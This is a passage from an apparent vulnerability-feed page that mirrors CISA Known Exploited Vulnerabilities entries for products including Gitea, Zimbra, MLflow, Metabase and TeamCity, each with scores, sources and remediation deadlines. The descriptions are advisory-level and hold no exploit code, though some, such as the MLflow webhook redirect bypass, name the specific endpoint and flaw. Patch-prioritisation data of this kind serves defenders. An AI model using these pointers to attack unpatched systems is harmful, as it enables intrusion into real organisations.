Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gitea Code Injection Vulnerability https://kevwire.com/record/CVE-2026-60004 Gitea Code Injection Vulnerability (Aug 25, 2026). Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account. CVSS 9.8 (version 3.1; evidence as of Aug 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-60004). EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25). Sources: CISA KEV entry CVE-2026-60004: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25 CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-60004 CISA added this entry on 2026-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2026; federal due date Aug 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability https://kevwire.com/record/CVE-2026-21962 Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability (Aug 24, 2026). Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in contain an improper access control vulnerability that can result in unauthorized creation, deletion or modification access to critical data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 10.0 (version 3.1; evidence as of Jan 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-21962). EPSS 73.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21962: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25 CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-21962 CISA added this entry on 2026-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 24, 2026; federal due date Aug 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-73570 Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability (Aug 21, 2026). Zimbra Collaboration Suite (ZCS) contains an OS command injection vulnerability which could allow an unauthenticated attacker to send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user. CVSS 8.9 (version 3.1; evidence as of Aug 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-73570). EPSS 71.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25). Sources: CISA KEV entry CVE-2026-73570: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25 CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-73570 CISA added this entry on 2026-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2026; federal due date Aug 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TrueConf Server Code Injection Vulnerability https://kevwire.com/record/CVE-2026-72530 TrueConf Server Code Injection Vulnerability (Aug 20, 2026). TrueConf Server contains a code injection vulnerability that could allow an unauthorized remote attacker with network access via port 4307/TCP to use a specially crafted script to break out of the isolated environment and execute arbitrary code on the host system. CVSS 9.5 (version 4.0; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72530). EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25). Sources: CISA KEV entry CVE-2026-72530: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25 CVE Program CNA Kaspersky: https://cveawg.mitre.org/api/cve/CVE-2026-72530 CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 20, 2026; federal due date Sep 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TrueConf Server Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-72529 TrueConf Server Missing Authentication for Critical Function Vulnerability (Aug 20, 2026). TrueConf Server contains a missing authentication for critical function vulnerability which could allow a remote unauthorized attacker with network access via port 4307/TCP to execute an arbitrary script. CVSS 9.3 (version 4.0; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72529). EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25). Sources: CISA KEV entry CVE-2026-72529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25 CVE Program CNA Kaspersky: https://cveawg.mitre.org/api/cve/CVE-2026-72529 CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 20, 2026; federal due date Aug 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MLflow Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2026-64849 MLflow Server-Side Request Forgery Vulnerability (Aug 17, 2026). MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0. CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-64849). EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25). Sources: NVD CVE-2026-64849: https://nvd.nist.gov/vuln/detail/CVE-2026-64849 Vendor advisory (via NVD references): https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 CISA KEV entry CVE-2026-64849: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25 MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 19, 2026; federal due date Sep 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability https://kevwire.com/record/CVE-2026-33824 Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability (Aug 18, 2026). Microsoft Internet Key Exchange (IKE) Service Extensions contains a double free vulnerability that could enable remote code execution. CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-33824). EPSS 77.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25). Sources: CISA KEV entry CVE-2026-33824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-33824 CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Broadcom VMware vCenter Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-59310 Broadcom VMware vCenter Path Traversal Vulnerability (Aug 18, 2026). Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code. CVSS 9.8 (version 3.1; evidence as of Jul 30, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-59310). EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25). Sources: CISA KEV entry CVE-2026-59310: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25 CVE Program CNA vmware: https://cveawg.mitre.org/api/cve/CVE-2026-59310 CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Weak Authentication Vulnerability https://kevwire.com/record/CVE-2026-55040 Microsoft SharePoint Weak Authentication Vulnerability (Aug 18, 2026). Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network. CVSS 9.1 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-55040). EPSS 69.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25). Sources: CISA KEV entry CVE-2026-55040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-55040 CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple macOS Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-65400 Apple macOS Improper Authentication Vulnerability (Aug 18, 2026). Apple macOS contains an improper authentication vulnerability that could allow an attacker on the network to authenticate to Screen Sharing without valid credentials. CVSS 9.8 (version 3.1; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-65400). EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25). Sources: CISA KEV entry CVE-2026-65400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-65400 CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ray-Project Ray Code Injection Vulnerability https://kevwire.com/record/CVE-2025-62593 Ray-Project Ray Code Injection Vulnerability (Aug 17, 2026). Ray-Project Ray contains a code injection vulnerability that could allow remote code execution. Developers using Ray as a development tool may be exposed to this vulnerability exploitable through Firefox and Safari. CVSS 9.4 (version 4.0; evidence as of Nov 26, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-62593). EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25). Sources: CISA KEV entry CVE-2025-62593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25 CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2025-62593 CISA added this entry on 2026-08-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 17, 2026; federal due date Aug 20, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability https://kevwire.com/record/CVE-2026-20349 Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability (Aug 11, 2026). A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.  This vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition. CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20349). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25). Sources: NVD CVE-2026-20349: https://nvd.nist.gov/vuln/detail/CVE-2026-20349 Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 CISA KEV entry CVE-2026-20349: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25 A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.  This vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 11, 2026; federal due date Aug 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability https://kevwire.com/record/CVE-2026-68820 Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability (Aug 11, 2026). Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally. CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68820). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25). Sources: CISA KEV entry CVE-2026-68820: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json NVD CVE-2026-68820: https://nvd.nist.gov/vuln/detail/CVE-2026-68820 Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68820 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25 CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 11, 2026; federal due date Aug 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Metabase SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-72898 Metabase SQL Injection Vulnerability (Aug 11, 2026). Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal stored credentials for the connected databases, read any data accessible through those connections, and export data. CVSS 10.0 (version 4.0; evidence as of Aug 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72898). EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25). Sources: CISA KEV entry CVE-2026-72898: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25 CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-72898 CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 11, 2026; federal due date Aug 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress LoadMaster Command Injection Vulnerability https://kevwire.com/record/CVE-2026-8037 Progress LoadMaster Command Injection Vulnerability (Aug 7, 2026). Progress LoadMaster contains a command injection vulnerability that allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints. CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-8037). EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25). Sources: CISA KEV entry CVE-2026-8037: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25 CVE Program CNA ProgressSoftware: https://cveawg.mitre.org/api/cve/CVE-2026-8037 CISA added this entry on 2026-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 7, 2026; federal due date Aug 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JetBrains TeamCity Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-63077 JetBrains TeamCity Deserialization of Untrusted Data Vulnerability (Aug 5, 2026). JetBrains TeamCity contains a deserialization of untrusted data vulnerability that could allow unauthenticated remote code execution via the agent polling protocol. CVSS 9.8 (version 3.1; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-63077). EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25). Sources: CISA KEV entry CVE-2026-63077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25 CVE Program CNA JetBrains: https://cveawg.mitre.org/api/cve/CVE-2026-63077 CISA added this entry on 2026-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 5, 2026; federal due date Aug 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-18556 N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability (Aug 4, 2026). N-able N-central contains an authentication bypass using an alternate path or channel that allows for authentication bypass. CVSS 8.2 (version 4.0; evidence as of Aug 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-18556). EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25). Sources: CISA KEV entry CVE-2026-18556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25 CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-18556 CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, 